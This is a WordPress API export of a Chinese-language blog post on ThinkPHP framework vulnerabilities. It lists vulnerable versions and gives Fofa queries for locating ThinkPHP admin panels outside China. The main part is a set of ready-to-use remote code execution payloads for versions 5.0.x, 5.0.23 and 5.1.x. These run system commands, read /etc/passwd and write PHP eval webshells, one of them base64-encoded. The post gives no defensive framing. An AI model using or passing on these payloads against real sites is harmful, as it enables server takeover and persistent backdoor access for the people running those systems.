{"id":1524,"date":"2025-01-19T22:23:11","date_gmt":"2025-01-19T14:23:11","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=1524"},"modified":"2025-01-19T22:23:13","modified_gmt":"2025-01-19T14:23:13","slug":"02-thinkphp%e6%bc%8f%e6%b4%9e","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/19\/02-thinkphp%e6%bc%8f%e6%b4%9e\/","title":{"rendered":"02.Thinkphp\u6f0f\u6d1e"},"content":{"rendered":"

\u4e00\u3001Thinkphp\u7b80\u4ecb<\/h2>\n

Thinkphp \u662f\u4e00\u79cd\u5f00\u6e90\u6846\u67b6\u3002\u662f\u4e00\u4e2a\u7531\u56fd\u4eba\u5f00\u53d1\u7684\u652f\u6301 windows\/Unix\/Linux \u7b49\u670d\u52a1\u5668\u73af\u5883\u7684\u8f7b\u91cf\u7ea7 PHP\u5f00\u53d1\u6846\u67b6\u3002
\n\u5f88\u591acms\u5c31\u662f\u57fa\u4e8e thinkphp \u4e8c\u6b21\u5f00\u53d1\u7684\uff0c\u6240\u4ee5 thinkphp \u51fa\u95ee\u9898\u7684\u8bdd\uff0c\u4f1a\u5f71\u54cd\u5f88\u591a\u57fa\u4e8ethinkphp\u5f00\u53d1\u7684\u7f51\u7ad9\u3002<\/p>\n

\u4e8c\u3001Thinkphp\u5386\u53f2\u6f0f\u6d1e<\/h2>\n\n\n\n\n\n\n\n\n\n\n\n\n\n
\u7248\u672c<\/th>\n\u6f0f\u6d1e\u7c7b\u578b<\/th>\n<\/tr>\n<\/thead>\n
ThinkPHP3.2.3<\/td>\n\u7f13\u5b58\u51fd\u6570\u8bbe\u8ba1\u7f3a\u9677\u53ef\u5bfc\u81f4Getshel<\/td>\n<\/tr>\n
ThinkPHP3.2.3<\/td>\n\u6700\u65b0\u7248update\u6ce8\u5165\u6f0f\u6d1e<\/td>\n<\/tr>\n
ThinkPHP3.2.X<\/td>\nfind_select_delete\u6ce8\u5165<\/td>\n<\/tr>\n
ThinkPHP3.X<\/td>\norder_by\u6ce8\u5165\u6f0f\u6d1e<\/td>\n<\/tr>\n
ThinkPHP5.0.X<\/td>\nsql\u6ce8\u5165\u6f0f\u6d1e<\/td>\n<\/tr>\n
ThinkPHP5.0.10<\/td>\n\u7f13\u5b58\u51fd\u6570\u8bbe\u8ba1\u7f3a\u9677\u53ef\u5bfc\u81f4Getshell<\/td>\n<\/tr>\n
ThinkPHP5<\/td>\nSQL\u6ce8\u5165\u6f0f\u6d1e&&\u654f\u611f\u4fe1\u606f\u6cc4\u9732<\/td>\n<\/tr>\n
ThinkPHP5.X<\/td>\norder_by\u6ce8\u5165\u6f0f\u6d1e<\/td>\n<\/tr>\n
ThinkPHP5.X<\/td>\n\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

\u4e09\u3001Thinkphp\u5386\u53f2\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n

1.\u9ed8\u8ba4\u9875\u9762\u3001\u9519\u8bef\u9875\u9762<\/h3>\n

\"Pasted<\/div>
\n\"Pasted<\/p>\n

2.\u6279\u91cf\u6f0f\u6d1e\u68c0\u6d4b<\/h3>\n

3.Fofa<\/h3>\n
header="thinkphp" && country!="CN"\nheader="thinkphp" && country!="CN" && title="\u540e\u53f0\u7ba1\u7406"\nheader="thinkphp" && country!="CN" && title="\u540e\u53f0\u7ba1\u7406" && after="2021-01-01"\n<\/code><\/pre>\n
\u56db\u3001Thinkphp\u5386\u53f2\u6f0f\u6d1e\u5229\u7528<\/h2>\n
1.  5.0.* \u7248\u672c\u5e38\u7528POC<\/h3>\n
\u6267\u884c\u547d\u4ee4<\/p>\n
\/index.php?s=index\/\\think\\app\/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami\n\n\/index.php?s=index\/\\think\\app\/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1\n<\/code><\/pre>\n
\u5199\u5165Webshell<\/p>\n
\/index.php?s=index\/\\think\\app\/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[ccc]);?>\n\n\n\/index.php?s=\/Index\/\\think\\app\/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n  YWFhPD9waHAgQGV2YWwoJF9QT1NUW2NjY10pOz8+YmJi | base64 -d > shell9.php\n\n\u6ce8\u610f\uff1aBase64\u7f16\u7801\u540e\u7684\u5b57\u7b26\u4e32\u5982\u679c\u542b\u6709 + \u53f7\uff0c\u5728URL\u4e2d\u9700\u8981\u8fdb\u884cURL\u7f16\u7801\uff0c\u53ca + \u53f7\u53d8\u4e3a %2B\n<\/code><\/pre>\n
2.  5.0.23\u6f0f\u6d1e\u5229\u7528POC<\/h3>\n
POST\uff1a\/index.php?s=captcha\n\n_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat \/etc\/passwd\n\n\nPOST\uff1a\/index.php?s=captcha\n\n_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php eval(\\$_POST['cmd']);?>" > 1.php\n<\/code><\/pre>\n
3.  5.1.* \u7248\u672c\u5e38\u7528POC<\/h3>\n
\u6267\u884c\u547d\u4ee4<\/p>\n
\/index.php?s=index\/\\think\\Container\/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1\n\n\/index.php?s=index\/\\think\\Container\/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami\n\n\/index.php?s=index\/\\think\\Request\/input&filter=system&data=id\n\n\/index.php?s=\/index\/\\think\\request\/cache&key=1|phpinfo\n<\/code><\/pre>\n
\u5199\u5165Webshell<\/p>\n
\/index.php?s=index\/\\think\\Container\/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(\\$_POST[ccc]);?>" >shell.php\n\n(echo "^<?php @eval(\\$_POST[ccc]);?^>" >shell1.php)\n<\/code><\/pre>\n
\u5176\u4ed6payload\uff1a<\/p>\n
\/index.php?s=index\/\\think\\app\/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami\n\n\/index.php?s=index\/\\think\\Request\/input&filter=phpinfo&data=1\n\n\/index.php?s=index\/\\think\\Request\/input&filter=system&data=id\n\n\/index.php?s=index\/\\think\\template\\driver\\file\/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E\n\n\/index.php?s=index\/\\think\\view\\driver\\Php\/display&content=%3C?php%20phpinfo();?%3E\n\n\/index.php?s=index\/\\think\\app\/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1\n\n\/index.php?s=index\/\\think\\app\/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id\n\/index.php?s=index\/\\think\\Container\/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1\n\/index.php?s=index\/\\think\\Container\/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id\n\n\/index.php?s=\/Index\/\\think\\app\/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
\u4e00\u3001Thinkphp\u7b80\u4ecb Thinkphp \u662f\u4e00\u79cd\u5f00\u6e90\u6846\u67b6\u3002\u662f\u4e00\u4e2a\u7531\u56fd\u4eba\u5f00\u53d1\u7684\u652f\u6301 windows\/Unix\/ […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[52,9],"tags":[],"class_list":["post-1524","post","type-post","status-publish","format-standard","hentry","category-52","category-9"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1524","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=1524"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1524\/revisions"}],"predecessor-version":[{"id":1525,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1524\/revisions\/1525"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=1524"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=1524"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=1524"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}